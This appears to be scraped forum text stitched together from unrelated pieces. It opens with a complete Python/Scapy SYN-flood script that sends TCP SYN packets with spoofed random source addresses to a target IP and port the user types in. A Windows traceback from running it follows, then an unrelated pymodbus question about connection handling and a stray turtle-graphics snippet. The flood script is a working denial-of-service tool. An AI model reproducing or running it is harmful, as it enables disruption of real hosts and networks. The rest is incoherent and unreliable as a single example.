Python

from scapy.all import *
import os
import sys
import random

def randomIP():
	ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
	return ip

def randInt():
	x = random.randint(1000,9000)
	return x	

def SYN_Flood(dstIP,dstPort,counter):
	total = 0
	print("Packets are sending ...")
	for x in range (0,counter):
		s_port = randInt()
		s_eq = randInt()
		w_indow = randInt()

		IP_Packet = IP ()
		IP_Packet.src = randomIP()
		IP_Packet.dst = dstIP

		TCP_Packet = TCP ()	
		TCP_Packet.sport = s_port
		TCP_Packet.dport = dstPort
		TCP_Packet.flags = "S"
		TCP_Packet.seq = s_eq
		TCP_Packet.window = w_indow

		send(IP_Packet/TCP_Packet, verbose=0)
		total+=1
	sys.stdout.write("\nTotal packets sent: %i\n" % total)


def info():
	os.system("clear")

	dstIP = raw_input ("\nTarget IP : ")
	dstPort = input ("Target Port : ")
	
	return dstIP,int(dstPort)
	

def main():
	dstIP,dstPort = info()
	counter = input ("How many packets do you want to send : ")
	SYN_Flood(dstIP,dstPort,int(counter))

main()

Quote:

WARNING: No libpcap provider available ! pcap won't be used
'clear' is not recognized as an internal or external command,
operable program or batch file.
Traceback (most recent call last):
File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in <module>
main()
File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main
dstIP,dstPort = info()
^^^^^^
File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info
dstIP = raw_input ("\nTarget IP : ")
^^^^^^^^^
NameError: name 'raw_input' is not defined

First of all, I'm not good at English. I'm trying to be politely..

I'm making a program that communicate some gateways using pymodbus(python 3.9, pymodbus 2.5.2).

Recently, when the program is working, I analyzed network via WireShark. and then I realize that each command(read_holding_registers, write_registers, ...) make a connection with server. like this,..

connect() 
read_holding_registers() 
close() 
connect() 
read_holding_registers() 
close() 
...,

Is it right?

I expect this,,

connect() 
read_holding_registers(..) 
read_holding_registers(..) 
read_holding_registers(..) ... 
close()

I think, first, making a connection, second, all commands are done, and finally destroy connection.

Of course, all commands are in a same function. but there is a delay time each command.

with ModbusClient('10.181.10.15', 502) as client:
    client.connect()
    for unit in range(80, 91):
        time.sleep(0.3)
        data = client.read_holding_registers(600, 40, unit=unit)
        print('600 unit id = %d' % unit)
        time.sleep(0.3)
        data = client.read_holding_registers(700, 30, unit=unit)
        print('700 unit id = %d' % unit)

    client.close()

player1 = turtle.Turtle()
player1.speed(0)
player1.shape("circle")
player1.shapesize(stretch_len=3, stretch_wid=3)
player1.color("white")
player1.penup()
player1.goto(x=-350, y=0)